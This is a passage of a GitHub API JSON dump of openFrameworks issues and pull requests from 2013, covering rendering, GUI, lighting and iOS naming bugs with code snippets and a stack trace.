ofSetCurveResolution","user":{"login":"rezaali","id":555207,"avatar_url":"https://2.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https%3A%2F%2Fidenticons.github.com%2F3a40e945e1f4b9b9b7a99b8d18c2c8c1.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","url":"https://api.github.com/users/rezaali","html_url":"https://github.com/rezaali","followers_url":"https://api.github.com/users/rezaali/followers","following_url":"https://api.github.com/users/rezaali/following{/other_user}","gists_url":"https://api.github.com/users/rezaali/gists{/gist_id}","starred_url":"https://api.github.com/users/rezaali/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rezaali/subscriptions","organizations_url":"https://api.github.com/users/rezaali/orgs","repos_url":"https://api.github.com/users/rezaali/repos","events_url":"https://api.github.com/users/rezaali/events{/privacy}","received_events_url":"https://api.github.com/users/rezaali/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-16T22:37:49Z","updated_at":"2013-08-20T09:22:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2479","id":18151262,"number":2479,"title":"add read-only access to programmable GL matrix stack","user":{"login":"tgfrerer","id":423509,"avatar_url":"https://1.gravatar.com/avatar/b37673dd0fb953e948cfd5475d49de9f?d=https%3A%2F%2Fidenticons.github.com%2F88b2d0ec0c458a087a93354fbcd730e6.png","gravatar_id":"b37673dd0fb953e948cfd5475d49de9f","url":"https://api.github.com/users/tgfrerer","html_url":"https://github.com/tgfrerer","followers_url":"https://api.github.com/users/tgfrerer/followers","following_url":"https://api.github.com/users/tgfrerer/following{/other_user}","gists_url":"https://api.github.com/users/tgfrerer/gists{/gist_id}","starred_url":"https://api.github.com/users/tgfrerer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgfrerer/subscriptions","organizations_url":"https://api.github.com/users/tgfrerer/orgs","repos_url":"https://api.github.com/users/tgfrerer/repos","events_url":"https://api.github.com/users/tgfrerer/events{/privacy}","received_events_url":"https://api.github.com/users/tgfrerer/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T10:58:22Z","updated_at":"2013-08-19T15:48:30Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2479","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2479.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2479.patch"},"body":"in 'classic' OpenGL 2.0, you could call:\r\n\r\n````glGetFloatv(GL_MODELVIEW_MATRIX, matrixPtr);````\r\n\r\nTo read back the current matrix state from the GPU.\r\n\r\nThis is not possible with modern OpenGL, since the matrix stack is now client-side.\r\n\r\nWith this PR, we get this functionality back into the programmable GL renderer pipeline. Query the current matrix state as in:\r\n\r\n````ofMatrix4x4 currentModelViewMatrix = ofGetGLProgrammableRenderer()->getModelViewMatrix();````\r\n\r\nSince these are read-only methods, they are marked ````const````\r\n\r\nSigned-off-by: tgfrerer "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2478/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2478","id":18150369,"number":2478,"title":"Replacing GLSurfaceView with TextureView","user":{"login":"ikillbombs","id":1842262,"avatar_url":"https://1.gravatar.com/avatar/0e972803504e237e42c9a680885498c8?d=https%3A%2F%2Fidenticons.github.com%2F24e60592283a8e112c32915b7846022d.png","gravatar_id":"0e972803504e237e42c9a680885498c8","url":"https://api.github.com/users/ikillbombs","html_url":"https://github.com/ikillbombs","followers_url":"https://api.github.com/users/ikillbombs/followers","following_url":"https://api.github.com/users/ikillbombs/following{/other_user}","gists_url":"https://api.github.com/users/ikillbombs/gists{/gist_id}","starred_url":"https://api.github.com/users/ikillbombs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ikillbombs/subscriptions","organizations_url":"https://api.github.com/users/ikillbombs/orgs","repos_url":"https://api.github.com/users/ikillbombs/repos","events_url":"https://api.github.com/users/ikillbombs/events{/privacy}","received_events_url":"https://api.github.com/users/ikillbombs/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T10:30:22Z","updated_at":"2013-08-20T09:48:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi everyone,\r\n\r\nI was wondering if it's a good idea to replace Android GLSurfaceView with GLTextureView. The advantages of replacing this is that multiple views can be combined. after this modification we can create a mapKit for Android and combine it with a native GUI.\r\n\r\nHere's an example link:\r\nhttps://github.com/eaglesakura/gltextureview/tree/issue/1/master"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2477/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2477","id":18146713,"number":2477,"title":"ofxgui setUseTTF bug! (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T08:38:14Z","updated_at":"2013-08-20T09:19:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"...\r\ngui.add(twoCircles.setup(\"two circles\"));\r\ngui.add(ringButton.setup(\"ring\"));\r\ngui.add(screenSize.setup(\"screen size\", \"\"));\r\nguiExample =>gui.setUseTTF(true);\r\n...\r\n\r\nText display error....\r\n\r\n![guibug](https://f.cloud.github.com/assets/841770/974290/01366e98-064f-11e3-8e69-146ec8c3a74f.jpg)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2476/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2476","id":18144117,"number":2476,"title":"parameterGroupExample error! (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":6,"created_at":"2013-08-16T07:07:57Z","updated_at":"2013-08-20T09:25:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"E:\\Program Files\\of_v0.8.0_vs_release\\examples\\gui\\parameterGroupExample\r\nvs2012+win7...\r\n\r\nofxGuiGroup.cpp\r\n\r\n 77 line \tofLogError() << \"ofxBaseGroup; can't add control of type \" << type;\r\n\r\n[ error ] ofxBaseGroup; can't add control of type class ofReadOnlyParameter\r\n[ error ] ofxBaseGroup; can't add control of type class ofReadOnlyParameter\r\n[ error ] ofXml: loadFromBuffer(): DOM ERROR\r\n[warning] ofXml: setTo(): empty document\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2475/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2475","id":18143895,"number":2475,"title":"0.8.0 Light and Material problem","user":{"login":"Geistyp","id":1510109,"avatar_url":"https://0.gravatar.com/avatar/6b42478d52d104580a1ae20f973975c2?d=https%3A%2F%2Fidenticons.github.com%2F45d69e69ac304ad6dc2269ebba53ba69.png","gravatar_id":"6b42478d52d104580a1ae20f973975c2","url":"https://api.github.com/users/Geistyp","html_url":"https://github.com/Geistyp","followers_url":"https://api.github.com/users/Geistyp/followers","following_url":"https://api.github.com/users/Geistyp/following{/other_user}","gists_url":"https://api.github.com/users/Geistyp/gists{/gist_id}","starred_url":"https://api.github.com/users/Geistyp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Geistyp/subscriptions","organizations_url":"https://api.github.com/users/Geistyp/orgs","repos_url":"https://api.github.com/users/Geistyp/repos","events_url":"https://api.github.com/users/Geistyp/events{/privacy}","received_events_url":"https://api.github.com/users/Geistyp/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2013-08-16T06:58:32Z","updated_at":"2013-08-20T11:21:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://imgur.com/GiiGBx3\r\nLeft is 0.7.4 , right is 0.8.0.\r\n\r\nsame code\r\n```c++\r\nfloat no_mat[] = {0.0f, 0.0f, 0.0f, 1.0f};\r\nfloat mat_ambient[] = {0.0215, 0.1745, 0.0215, 1.0};\r\nfloat mat_diffuse[] = {0.07568, 0.61424, 0.07568, 1.0};\r\nfloat mat_specular[] = {0.633, 0.727811, 0.633, 1.0};\r\nfloat low_shininess = 15.0f;\r\n\r\n//light properties\r\nfloat ambient[] = {0.5f, 0.5f, 0.5f, 1.0f};\r\nfloat diffuse[] = {1.0f, 1.0f, 1.0f, 1.0f};\r\nfloat specular[] = {1.0f, 1.0f, 1.0f, 1.0f};\r\nfloat position[] = {100.0f, 100.0f, 100.0f, 0.0f};\r\n\r\nvoid ofApp::setup(){\r\n\r\n\tglLightfv(GL_LIGHT0, GL_AMBIENT, ambient);\r\n\tglLightfv(GL_LIGHT0, GL_DIFFUSE, diffuse);\r\n\tglLightfv(GL_LIGHT0, GL_POSITION, position);\r\n\r\n\tglEnable(GL_LIGHT0);\r\n\tglEnable(GL_LIGHTING);\r\n\r\n\tglEnable(GL_DEPTH_TEST);\r\n\tglShadeModel(GL_SMOOTH); \r\n}\r\n\r\nvoid ofApp::draw(){\r\n\r\n\tcam.begin();\r\n\r\n\tofPushMatrix();\r\n\tofTranslate(0, 0);\r\n\r\n\tglMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);\r\n\tglMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);\r\n\tglMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);\r\n\tglMaterialf(GL_FRONT, GL_SHININESS, low_shininess);\r\n\tglMaterialfv(GL_FRONT, GL_EMISSION, no_mat);\r\n\tofSphere(0, 0, 50);\r\n\r\n\tofPopMatrix();\r\n\r\n\r\n\tcam.end();\r\n}\r\n```\r\n\r\nofMaterial not work? I try to load a model with material, material data loaded, but show nothing.\r\nhttp://imgur.com/yMZda6w\r\n\r\n```c++\r\nofxAssimpModelLoader loader;\r\nofxAssimpMeshHelper mesh;\r\n\r\nofLight light;\r\n\r\nvoid ofApp::setup(){\r\n\r\n\tofDisableArbTex(); \r\n\tloader.loadModel(\"mini.dae\");\r\n\r\n\tofEnableSeparateSpecularLight();\r\n\tofEnableDepthTest();\r\n\tglShadeModel(GL_SMOOTH); \r\n\t\r\n\tlight.enable();\r\n\t\r\n\tmesh= loader.getMeshHelper(0);\r\n}\r\n\r\nvoid ofApp::draw(){\r\n\r\n \tcam.begin();\r\n\tofPushMatrix();\r\n\tofTranslate(0, 0);\r\n\r\n\t//loader.draw(OF_MESH_FILL);\r\n\r\n // (mesh.material).diffuse = {r=0.752941191 g=0.517647088 b=0.372548997 a=1.000000}\r\n // (mesh.material).ambient = {r=0.100000001 g=0.100000001 b=0.100000001 a=1.000000}\r\n // (mesh.material).specular = {r=0.400000006 g=0.400000006 b=0.400000006 a=1.000000}\r\n // (mesh.material).emissive = {r=0.000000000 g=0.000000000 b=0.000000000 a=1.000000}\r\n // (mesh.material).shininess = 10.000000\r\n\tmesh.material.begin();\r\n\tofSphere(0, 0, 50);\r\n\tmesh.material.end();\r\n\r\n\tofPopMatrix();\r\n\tcam.end();\r\n}\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2473/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2473","id":18116496,"number":2473,"title":"Fixed bug in ofCairoRenderer where moveTo commands are interpreted wrong","user":{"login":"bgstaal","id":165258,"avatar_url":"https://0.gravatar.com/avatar/4fcf8b28dcc18014970d4930d0a00e72?d=https%3A%2F%2Fidenticons.github.com%2Fc78b173dd2f89f95c1414e53b78123fe.png","gravatar_id":"4fcf8b28dcc18014970d4930d0a00e72","url":"https://api.github.com/users/bgstaal","html_url":"https://github.com/bgstaal","followers_url":"https://api.github.com/users/bgstaal/followers","following_url":"https://api.github.com/users/bgstaal/following{/other_user}","gists_url":"https://api.github.com/users/bgstaal/gists{/gist_id}","starred_url":"https://api.github.com/users/bgstaal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bgstaal/subscriptions","organizations_url":"https://api.github.com/users/bgstaal/orgs","repos_url":"https://api.github.com/users/bgstaal/repos","events_url":"https://api.github.com/users/bgstaal/events{/privacy}","received_events_url":"https://api.github.com/users/bgstaal/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-15T17:35:55Z","updated_at":"2013-08-15T17:36:34Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2473","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2473.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2473.patch"},"body":"This results in cairo sub paths not starting from the supplied point of the moveTo command. Adding one lien of code fixes this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2472/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2472","id":18107084,"number":2472,"title":"Break Points at Setup (of0.8.0)","user":{"login":"Vamoss","id":245841,"avatar_url":"https://0.gravatar.com/avatar/80c722474d39c07271917a466f4e26dd?d=https%3A%2F%2Fidenticons.github.com%2F406e8d2580cf39474c77a170d51800e3.png","gravatar_id":"80c722474d39c07271917a466f4e26dd","url":"https://api.github.com/users/Vamoss","html_url":"https://github.com/Vamoss","followers_url":"https://api.github.com/users/Vamoss/followers","following_url":"https://api.github.com/users/Vamoss/following{/other_user}","gists_url":"https://api.github.com/users/Vamoss/gists{/gist_id}","starred_url":"https://api.github.com/users/Vamoss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vamoss/subscriptions","organizations_url":"https://api.github.com/users/Vamoss/orgs","repos_url":"https://api.github.com/users/Vamoss/repos","events_url":"https://api.github.com/users/Vamoss/events{/privacy}","received_events_url":"https://api.github.com/users/Vamoss/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-15T14:05:20Z","updated_at":"2013-08-15T15:14:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi,\r\n\r\nI dont know exactly what is happening, but the setup accuses a break point in two cases, one at ofLogToFile(\"myFile.log\", true);\r\n\r\nAnd another in the end of testApp::setup(){}.\r\nIn this case the stack is not readable, but in the ofLogToFile Call Stack is:\r\nmsvcr110d.dll!_unlock(int locknum) Line 366\tC\r\nmsvcr110d.dll!operator delete(void * pUserData) Line 57\tC++\r\nmsvcr110d.dll!operator delete(void * pUserData) Line 56\tC++\r\n 03a31748()\tUnknown\r\nmsvcr110d.dll!_heap_alloc_base(unsigned int size) Line 57\tC\r\nmsvcr110d.dll!_heap_alloc_dbg_impl(unsigned int nSize, int nBlockUse, const char * szFileName, int nLine, int * errno_tmp) Line 431\tC++\r\nmsvcr110d.dll!_nh_malloc_dbg_impl(unsigned int nSize, int nhFlag, int nBlockUse, const char * szFileName, int nLine, int * errno_tmp) Line 239\tC++\r\nmsvcr110d.dll!_nh_malloc_dbg(unsigned int nSize, int nhFlag, int nBlockUse, const char * szFileName, int nLine) Line 302\tC++\r\nmsvcr110d.dll!malloc(unsigned int nSize) Line 56\tC++\r\nmsvcr110d.dll!operator new(unsigned int size) Line 59\tC++\r\nRender_debug.exe!std::_Allocate(unsigned int _Count, std::_Container_proxy * __formal) Line 28\tC++\r\nRender_debug.exe!std::allocator::allocate(unsigned int _Count) Line 591\tC++\r\nRender_debug.exe!std::_String_alloc<0,std::_String_base_types > >::_Alloc_proxy() Line 671\tC++ \tRender_debug.exe!std::_String_alloc<0,std::_String_base_types > >::_String_alloc<0,std::_String_base_types > >(const std::allocator & __formal) Line 651\tC++\r\nRender_debug.exe!std::basic_string,std::allocator >::basic_string,std::allocator >() Line 749\tC++\r\nRender_debug.exe!Poco::FileImpl::FileImpl(void)\tUnknown\r\nRender_debug.exe!Poco::File::File(void)\tUnknown\r\nRender_debug.exe!ofFile::ofFile() Line 260\tC++\r\nRender_debug.exe!ofFileLoggerChannel::ofFileLoggerChannel(const std::basic_string,std::allocator > & path, bool append) Line 288\tC++\r\nRender_debug.exe!ofLogToFile(const std::basic_string,std::allocator > & path, bool append) Line 41\tC++\r\nRender_debug.exe!SuperLog::setup(std::basic_string,std::allocator > filename) Line 17\tC++\r\nRender_debug.exe!testApp::setup() Line 14\tC++\r\nRender_debug.exe!ofBaseApp::setup(ofEventArgs & args) Line 41\tC++\r\nRender_debug.exe!Poco::PriorityDelegate::notify(const void * sender, ofEventArgs & arguments) Line 168\tC++\r\nRender_debug.exe!Poco::PriorityStrategy >::notify(const void * sender, ofEventArgs & arguments) Line 81\tC++\r\nRender_debug.exe!Poco::AbstractEvent >,Poco::AbstractPriorityDelegate,Poco::FastMutex>::notify(const void * pSender, ofEventArgs & args) Line 242\tC++\r\nRender_debug.exe!ofNotifyEvent,ofEventArgs>(ofEvent & event, ofEventArgs & args) Line 172\tC++\r\nRender_debug.exe!ofNotifySetup() Line 120\tC++\r\n\r\nI am at a Windows 7, Visual Studio 2012 Express with OpenFrameworks 0.8.0.\r\n\r\nThanks,\r\nCarlos"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2469/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2469","id":18048273,"number":2469,"title":"enums and #defines for ofxiOS have weird case and don't deprecate old enums","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-08-14T11:58:58Z","updated_at":"2013-08-20T12:43:20Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ie:\r\n\r\n```\r\n#define ofxiOS_DEVICE_IPHONE_2G\t\t\"iPhone1,1\"\r\n#define ofxiOS_DEVICE_IPHONE_3G\t\t\"iPhone1,2\"\r\n#define ofxiOS_DEVICE_IPHONE_3GS\t\"iPhone2,1\"\r\n#define ofxiOS_DEVICE_IPHONE_4\t\t\"iPhone3,1\"\r\n\r\n#define ofxiOS_DEVICE_IPOD_1STGEN\t\"iPod1,1\"\r\n#define ofxiOS_DEVICE_IPOD_2NDGEN\t\"iPod2,1\"\r\n#define ofxiOS_DEVICE_IPOD_3RDGEN\t\"iPod3,1\"\r\n#define ofxiOS_DEVICE_IPOD_4THGEN\t\"iPod4,1\"\r\n```\r\n\r\naccording to the old approach it should be: \r\n\r\n```\r\n#define OFXIOS_DEVICE_IPHONE_2G\t\"iPhone1,1\"\r\n#define OFXIOS_DEVICE_IPHONE_3G\t\"iPhone1,2\"\r\n#define OFXIOS_DEVICE_IPHONE_3GS\t\"iPhone2,1\"\r\n#define OFXIOS_DEVICE_IPHONE_4\t\t\"iPhone3,1\"\r\n\r\n#define OFXIOS_DEVICE_IPOD_1STGEN\t\"iPod1,1\"\r\n#define OFXIOS_DEVICE_IPOD_2NDGEN\t\"iPod2,1\"\r\n#define OFXIOS_DEVICE_IPOD_3RDGEN\t\"iPod3,1\"\r\n#define OFXIOS_DEVICE_IPOD_4THGEN\t\"iPod4,1\"\r\n```\r\n\r\nwith #define for old ofxiPhone names:\r\n\r\nie: \r\n`#define OFXIPHONE_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n\r\nI wonder if we should change \r\nofxiOS_ -> OFXIOS \r\n\r\nwe would then need to do two levels of #defines one for the 0.8.0 release and one for pre 0.8.0 \r\n\r\nie: \r\n\r\n`#define OFXIPHONE_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n`#define ofxiOS_DEVICE_IPHONE_2G OFXIOS_DEVICE_IPHONE_2G`\r\n\r\nNote: there are more examples of these #defines and enums, I'm just using this set as an example. \r\n\r\n\r\nALSO fix this: OFXIPHONE_MAPKIT_HYRBID -> OFXIPHONE_MAPKIT_HYBRID\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2468/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2468","id":18046461,"number":2468,"title":"ofAppGLFWWindow Verbose 